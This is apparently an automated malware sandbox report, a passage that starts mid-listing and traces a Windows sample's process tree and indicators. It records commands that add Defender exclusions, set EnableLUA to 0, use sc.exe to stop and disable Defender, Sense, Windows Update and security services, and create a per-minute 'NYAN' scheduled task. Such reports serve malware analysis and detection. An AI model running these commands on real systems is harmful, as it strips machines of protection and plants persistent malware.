PID 868 wrote to memory of 5844	868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe	124
PID 868 wrote to memory of 5884	868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe	126
PID 868 wrote to memory of 5884	868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe	126
PID 868 wrote to memory of 5884	868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe	126
PID 868 wrote to memory of 5928	868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe	129
PID 868 wrote to memory of 5928	868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe	129
PID 868 wrote to memory of 5928	868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe	129
PID 868 wrote to memory of 5996	868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe	130
PID 868 wrote to memory of 5996	868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe	130
PID 868 wrote to memory of 5996	868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe	130
PID 868 wrote to memory of 6088	868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe	132
PID 868 wrote to memory of 6088	868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe	132
PID 868 wrote to memory of 6088	868	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe	132
PID 2320 wrote to memory of 5432	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	134
PID 2320 wrote to memory of 5432	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	134
PID 2320 wrote to memory of 5432	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	134
PID 2320 wrote to memory of 5432	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	134
PID 2320 wrote to memory of 5432	2320	796ed4b0db9b3d50149b39c35c97fb22.exe	134

System policy modification 1 TTPs 5 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	EdgeBrowser.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	EdgeBrowser.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	796ed4b0db9b3d50149b39c35c97fb22.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	EdgeBrowser.exe

C:\Users\Admin\AppData\Local\Temp\796ed4b0db9b3d50149b39c35c97fb22.exe
"C:\Users\Admin\AppData\Local\Temp\796ed4b0db9b3d50149b39c35c97fb22.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- UAC bypass
- Windows security bypass
- Checks computer location settings
- Drops startup file
- Windows security modification
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2320
- C:\Users\Admin\AppData\Local\Temp\8ba77dff-9026-4926-9458-42a1833160cf\AdvancedRun.exe
  "C:\Users\Admin\AppData\Local\Temp\8ba77dff-9026-4926-9458-42a1833160cf\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\8ba77dff-9026-4926-9458-42a1833160cf\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5100
- - C:\Users\Admin\AppData\Local\Temp\8ba77dff-9026-4926-9458-42a1833160cf\AdvancedRun.exe
    "C:\Users\Admin\AppData\Local\Temp\8ba77dff-9026-4926-9458-42a1833160cf\AdvancedRun.exe" /SpecialRun 4101d8 5100
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2756
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\796ed4b0db9b3d50149b39c35c97fb22.exe" -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2896
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\796ed4b0db9b3d50149b39c35c97fb22.exe" -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1376
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe" -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4440
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe" -Force
  2⤵
  PID:3616
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\796ed4b0db9b3d50149b39c35c97fb22.exe" -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1080
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe"
  2⤵
  - UAC bypass
  - Checks computer location settings
  - Executes dropped EXE
  - Adds Run key to start application
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:868
- - C:\Users\Admin\AppData\Local\Temp\3a8d1037-c218-4468-b049-38d039afce41\AdvancedRun.exe
    "C:\Users\Admin\AppData\Local\Temp\3a8d1037-c218-4468-b049-38d039afce41\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\3a8d1037-c218-4468-b049-38d039afce41\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1004
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3a8d1037-c218-4468-b049-38d039afce41\test.bat"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4984
    - - C:\Windows\system32\sc.exe
        
        sc stop windefend
        5⤵
        Launches sc.exe
        
        PID:5452
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe" -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5844
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe" -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5884
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\ccfP9b0fr9ncIP0szl4Zd59I9922recyNfI908Qw\svchost.exe" -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5928
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe" -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5996
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\ccfP9b0fr9ncIP0szl4Zd59I9922recyNfI908Qw\svchost.exe" -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6088
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout 1
    3⤵
    PID:5808
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:5752
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe"
    3⤵
    - Executes dropped EXE
    PID:3324
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Delete /tn NYAN /F
      4⤵
      PID:2852
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn NYAN /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4cJUfE9Xd0b5WLb2c096f785mW2dK8e551jRc4vH8OT8by7.exe" /sc minute /mo 1
      4⤵
      Creates scheduled task(s)
      PID:5460
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 868 -s 1852
    3⤵
    - Program crash
    PID:5488
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\ccfP9b0fr9ncIP0szl4Zd59I9922recyNfI908Qw\svchost.exe" -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1360
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\ccfP9b0fr9ncIP0szl4Zd59I9922recyNfI908Qw\svchost.exe" -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:320
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\796ed4b0db9b3d50149b39c35c97fb22.exe" -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:552
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout 1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2404
- - C:\Windows\SysWOW64\timeout.exe
    timeout 1
    3⤵
    - Delays execution with timeout.exe
    PID:5748
- C:\Users\Admin\AppData\Local\Temp\796ed4b0db9b3d50149b39c35c97fb22.exe
  "C:\Users\Admin\AppData\Local\Temp\796ed4b0db9b3d50149b39c35c97fb22.exe"
  2⤵
  - Checks computer location settings
  - Drops file in Windows directory
  PID:5432
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Delete /tn NYAN /F
    3⤵
    PID:5464
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn NYAN /tr "C:\Users\Admin\AppData\Local\Temp\796ed4b0db9b3d50149b39c35c97fb22.exe" /sc minute /mo 1
    3⤵
    - Creates scheduled task(s)
    PID:5864
- - C:\Windows\EdgeBrowser.exe
    "C:\Windows\EdgeBrowser.exe"
    3⤵
    - UAC bypass
    - Windows security bypass
    - Checks computer location settings
    - Executes dropped EXE
    - Windows security modification
    - Adds Run key to start application
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    - System policy modification
    PID:3864
  - - C:\Users\Admin\AppData\Local\Temp\e8a9de02-0594-4d3e-9afc-2e8d01ca4dd4\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\e8a9de02-0594-4d3e-9afc-2e8d01ca4dd4\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\e8a9de02-0594-4d3e-9afc-2e8d01ca4dd4\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4676
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\EdgeBrowser.exe" -Force
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1580
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\EdgeBrowser.exe" -Force
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3456
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\ccfP9b0fr9ncIP0szl4Zd59I9922recyNfI908Qw\svchost.exe" -Force
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2508
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\EdgeBrowser.exe" -Force
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4316
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\ccfP9b0fr9ncIP0szl4Zd59I9922recyNfI908Qw\svchost.exe" -Force
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1240
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout 1
      4⤵
      PID:6060
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout 1
        5⤵
        Delays execution with timeout.exe
        
        PID:5752
  - - C:\Windows\EdgeBrowser.exe
      "C:\Windows\EdgeBrowser.exe"
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      Suspicious use of AdjustPrivilegeToken
      PID:3460
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Delete /tn NYAN /F
        5⤵
        
        PID:5632
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn NYAN /tr "C:\Windows\EdgeBrowser.exe" /sc minute /mo 1
        5⤵
        Creates scheduled task(s)
        
        PID:2972
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3864 -s 1756
      4⤵
      Program crash
      PID:1436
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2320 -s 1756
  2⤵
  - Program crash
  PID:5836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2320 -ip 2320
1⤵
PID:1868

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 868 -ip 868
1⤵
PID:440

C:\Windows\system32\sc.exe
sc stop windefend
1⤵
- Launches sc.exe
PID:884

C:\Windows\system32\sc.exe
sc config SecurityHealthService start= disabled
1⤵
- Launches sc.exe
PID:5804

C:\Windows\system32\sc.exe
sc stop WdiSystemHost
1⤵
- Launches sc.exe
PID:1500

C:\Windows\system32\sc.exe
sc config InstallService Start= disabled
1⤵
- Launches sc.exe
PID:4160

C:\Windows\system32\sc.exe
sc stop InstallService
1⤵
- Launches sc.exe
PID:2268

C:\Windows\system32\sc.exe
sc config WdiSystemHost start= disabled
1⤵
- Launches sc.exe
PID:1800

C:\Windows\system32\sc.exe
sc config WdiServiceHost start= disabled
1⤵
- Launches sc.exe
PID:928

C:\Windows\system32\sc.exe
sc stop WdiServiceHost
1⤵
- Launches sc.exe
PID:4736

C:\Windows\system32\sc.exe
sc config wscsvc start= disabled
1⤵
- Launches sc.exe
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3616

C:\Windows\system32\sc.exe
sc stop wscsvc
1⤵
- Launches sc.exe
PID:2324

C:\Windows\system32\sc.exe
sc config SDRSVC start= disabled
1⤵
- Launches sc.exe
PID:3816

C:\Windows\system32\sc.exe
sc stop SDRSVC
1⤵
- Launches sc.exe
PID:3688

C:\Windows\system32\sc.exe
sc stop SecurityHealthService
1⤵
- Launches sc.exe
PID:4484

C:\Windows\system32\sc.exe
sc config WaasMedicSvc start= disabled
1⤵
- Launches sc.exe
PID:3508

C:\Windows\system32\sc.exe
sc stop WaasMedicSvc
1⤵
- Launches sc.exe
PID:3860

C:\Windows\system32\sc.exe
sc config usosvc start= disabled
1⤵
- Launches sc.exe
PID:704

C:\Windows\system32\sc.exe
sc stop usosvc
1⤵
- Launches sc.exe
PID:3364

C:\Windows\system32\sc.exe
sc config wuauserv start= disabled
1⤵
- Launches sc.exe
PID:3764

C:\Windows\system32\sc.exe
sc stop wuauserv
1⤵
- Launches sc.exe
PID:3652

C:\Windows\system32\sc.exe
sc config Sense start= disabled
1⤵
- Launches sc.exe
PID:1760

C:\Windows\system32\sc.exe
sc stop Sense
1⤵
- Launches sc.exe
PID:4692

C:\Windows\system32\sc.exe
sc config windefend start= disabled
1⤵
- Launches sc.exe
PID:2156

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\e8a9de02-0594-4d3e-9afc-2e8d01ca4dd4\test.bat"
1⤵
PID:5960

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv M0nPrqn9l0uxnPFE5ym+WA.0.2
1⤵
PID:5808

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 3864 -ip 3864
1⤵
PID:4996

C:\Windows\EdgeBrowser.exe
C:\Windows\EdgeBrowser.exe
1⤵
- UAC bypass
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- System policy modification
PID:3652
- C:\Users\Admin\AppData\Local\Temp\008d5608-fb82-4b14-a4f4-16aeb5d00930\AdvancedRun.exe
  "C:\Users\Admin\AppData\Local\Temp\008d5608-fb82-4b14-a4f4-16aeb5d00930\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\008d5608-fb82-4b14-a4f4-16aeb5d00930\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\008d5608-fb82-4b14-a4f4-16aeb5d00930\test.bat"
    3⤵
    PID:4484
  - - C:\Windows\system32\sc.exe
      sc stop windefend
      4⤵
      Launches sc.exe
      PID:3196
  - - C:\Windows\system32\sc.exe
      sc config windefend start= disabled
      4⤵
      Launches sc.exe
      PID:1912
  - - C:\Windows\system32\sc.exe
      sc stop Sense
      4⤵
      Launches sc.exe
      PID:2944
  - - C:\Windows\system32\sc.exe
      sc config Sense start= disabled
      4⤵
      PID:4736
  - - C:\Windows\system32\sc.exe
      sc stop wuauserv
      4⤵
      Launches sc.exe
      PID:6052
  - - C:\Windows\system32\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:4660
  - - C:\Windows\system32\sc.exe
      sc stop usosvc
      4⤵
      Launches sc.exe
      PID:4000
  - - C:\Windows\system32\sc.exe
      sc config usosvc start= disabled
      4⤵
      Launches sc.exe
      PID:4752
  - - C:\Windows\system32\sc.exe
      sc stop WaasMedicSvc
      4⤵
      Launches sc.exe
      PID:2268
  - - C:\Windows\system32\sc.exe
      sc config WaasMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4884
  - - C:\Windows\system32\sc.exe
      sc stop SecurityHealthService
      4⤵
      Launches sc.exe
      PID:3744
  - - C:\Windows\system32\sc.exe
      sc config SecurityHealthService start= disabled
      4⤵
      Launches sc.exe
      PID:4160
  - - C:\Windows\system32\sc.exe
      sc stop SDRSVC
      4⤵
      Launches sc.exe
      PID:4424
  - - C:\Windows\system32\sc.exe
      sc config SDRSVC start= disabled
      4⤵
      Launches sc.exe
      PID:2428
  - - C:\Windows\system32\sc.exe
      sc stop wscsvc
      4⤵
      Launches sc.exe
      PID:3108
  - - C:\Windows\system32\sc.exe
      sc config wscsvc start= disabled
      4⤵
      Launches sc.exe
      PID:5960
  - - C:\Windows\system32\sc.exe
      sc stop WdiServiceHost
      4⤵
      Launches sc.exe
      PID:5316
  - - C:\Windows\system32\sc.exe
      sc config WdiServiceHost start= disabled
      4⤵
      Launches sc.exe
      PID:4448
  - - C:\Windows\system32\sc.exe
      sc stop WdiSystemHost
      4⤵
      Launches sc.exe
      PID:2804
  - - C:\Windows\system32\sc.exe
      sc config WdiSystemHost start= disabled
      4⤵
      Launches sc.exe
      PID:4896
  - - C:\Windows\system32\sc.exe
      sc stop InstallService
      4⤵
      Launches sc.exe
      PID:1752
  - - C:\Windows\system32\sc.exe
      sc config InstallService Start= disabled
      4⤵
      Launches sc.exe
      PID:1212
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\EdgeBrowser.exe" -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5212
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\EdgeBrowser.exe" -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5572
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\ccfP9b0fr9ncIP0szl4Zd59I9922recyNfI908Qw\svchost.exe" -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3016
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\EdgeBrowser.exe" -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:6072
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\ccfP9b0fr9ncIP0szl4Zd59I9922recyNfI908Qw\svchost.exe" -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4972
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout 1
  2⤵
  PID:6000
- - C:\Windows\SysWOW64\timeout.exe
    timeout 1
    3⤵
    - Delays execution with timeout.exe
    PID:2128
- C:\Windows\EdgeBrowser.exe
  "C:\Windows\EdgeBrowser.exe"
  2⤵
  - Executes dropped EXE
  PID:2776
- C:\Windows\EdgeBrowser.exe
  "C:\Windows\EdgeBrowser.exe"
  2⤵
  - Executes dropped EXE
  PID:2896
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Delete /tn NYAN /F
    3⤵
    PID:5244
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn NYAN /tr "C:\Windows\EdgeBrowser.exe" /sc minute /mo 1
    3⤵
    - Creates scheduled task(s)
    PID:812
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3652 -s 908
  2⤵
  - Program crash
  PID:5428

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3652 -ip 3652
1⤵
PID:380

C:\Windows\EdgeBrowser.exe
C:\Windows\EdgeBrowser.exe
1⤵
- UAC bypass
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System policy modification
PID:4380
- C:\Users\Admin\AppData\Local\Temp\2841dd81-cf01-489d-83c7-652a0936f2d0\AdvancedRun.exe
  "C:\Users\Admin\AppData\Local\Temp\2841dd81-cf01-489d-83c7-652a0936f2d0\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\2841dd81-cf01-489d-83c7-652a0936f2d0\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2841dd81-cf01-489d-83c7-652a0936f2d0\test.bat"
    3⤵
    PID:3848
  - - C:\Windows\system32\sc.exe
      sc stop windefend
      4⤵
      Launches sc.exe
      PID:3196
  - - C:\Windows\system32\sc.exe
      sc config windefend start= disabled
      4⤵
      Launches sc.exe
      PID:2148
  - - C:\Windows\system32\sc.exe
      sc stop Sense
      4⤵
      Launches sc.exe
      PID:1424
  - - C:\Windows\system32\sc.exe
      sc config Sense start= disabled
      4⤵
      Launches sc.exe
      PID:6052
  - - C:\Windows\system32\sc.exe
      sc stop wuauserv
      4⤵
      Launches sc.exe
      PID:4660
  - - C:\Windows\system32\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:3712
  - - C:\Windows\system32\sc.exe
      sc stop usosvc
      4⤵
      Launches sc.exe
      PID:756
  - - C:\Windows\system32\sc.exe
      sc config usosvc start= disabled
      4⤵
      Launches sc.exe
      PID:3408
  - - C:\Windows\system32\sc.exe
      sc stop WaasMedicSvc
      4⤵
      Launches sc.exe
      PID:4884
  - - C:\Windows\system32\sc.exe
      sc config WaasMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:3744
  - - C:\Windows\system32\sc.exe
      sc stop SecurityHealthService
      4⤵
      Launches sc.exe
      PID:4160
  - - C:\Windows\system32\sc.exe
      sc config SecurityHealthService start= disabled
      4⤵
      Launches sc.exe
      PID:4424
  - - C:\Windows\system32\sc.exe
      sc stop SDRSVC
      4⤵
      Launches sc.exe
      PID:2428
  - - C:\Windows\system32\sc.exe
      sc config SDRSVC start= disabled
      4⤵
      Launches sc.exe
      PID:5304
  - - C:\Windows\system32\sc.exe
      sc stop wscsvc
      4⤵
      PID:3060
